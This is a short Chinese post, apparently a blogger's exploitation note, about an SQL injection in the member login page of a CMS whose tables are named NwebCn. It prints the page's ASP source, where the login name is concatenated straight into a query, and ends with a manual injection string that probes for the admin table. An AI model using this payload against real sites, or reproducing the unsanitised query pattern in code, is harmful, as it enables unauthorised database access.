这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。

MemberLogin.asp源码如下:

ASP/Visual Basic代码
  1. <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>   
  2. <% Option Explicit %>   
  3. <%Response.Charset="utf-8"%>   
  4. <!--#include file="../Include/Const.asp"-->   
  5. <!--#include file="../Include/ConnSiteData.asp"-->   
  6. <!--#include file="../Include/Md5.asp"-->   
  7. <%   
  8. if request.QueryString("Action")="Out" then   
  9.    session.contents.remove "MemName"  
  10.    session.contents.remove "GroupID"  
  11.    session.contents.remove "GroupLevel"  
  12.    session.contents.remove "MemLogin"  
  13.    response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))   
  14.    response.end   
  15. end if   
  16.   
  17. Public ErrMsg(3)   
  18.    ErrMsg(0)="·登录名不正确,请返回。"  
  19.    ErrMsg(1)="·登录密码不正确,请返回。"  
  20.    ErrMsg(2)="·帐号非使用状态,请返回。"  
  21.   
  22. dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql   
  23. LoginName=trim(request.form("LoginName"))   
  24. LoginPassword=Md5(request.form("LoginPassword"))   
  25. set rs = server.createobject("adodb.recordset")   
  26. sql="select * from NwebCn_Members where MemName='"&LoginName"'"  
  27. rs.open sql,conn,1,3   
  28. if rs.bof and rs.eof then   
  29.    WriteMsg(ErrMsg(0))   
  30.    response.end   
  31. else   
  32.    MemName=rs("MemName")   
  33.    Password=rs("Password")   
  34.    GroupID=rs("GroupID")   
  35.    GroupName=rs("GroupName")   
  36.    Working=rs("Working")   
  37. end if   
  38.   
  39. if LoginPassword<>Password then   
  40.    WriteMsg(ErrMsg(1))   
  41.    response.end   
  42. end if   
  43.   
  44. if not Working then   
  45.    WriteMsg(ErrMsg(2))   
  46.    response.end   
  47. end if   
  48.     
  49. if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then   
  50.    rs("LastLoginTime")=now()   
  51.    rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")   
  52.    rs("LoginTimes")=rs("LoginTimes")+1   
  53.    rs.update   
  54.    rs.close   
  55.    set rs=nothing   
  56.    session("MemName")=MemName   
  57.    session("GroupID")=GroupID   
  58.    '===========   
  59.    set rs = server.createobject("adodb.recordset")   
  60.    sql="select * from NwebCn_MemGroup where GroupID='"&GroupID"'"  
  61.    rs.open sql,conn,1,1   
  62.    session("GroupLevel")=rs("GroupLevel")   
  63.    rs.close   
  64.    set rs=nothing   
  65.   '===========   
  66.    session("MemLogin")="Succeed"  
  67.    session.timeout=60   
  68.    response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))   
  69.    response.end   
  70. end if   
  71. %>  


看到了,LoginName未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。

手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1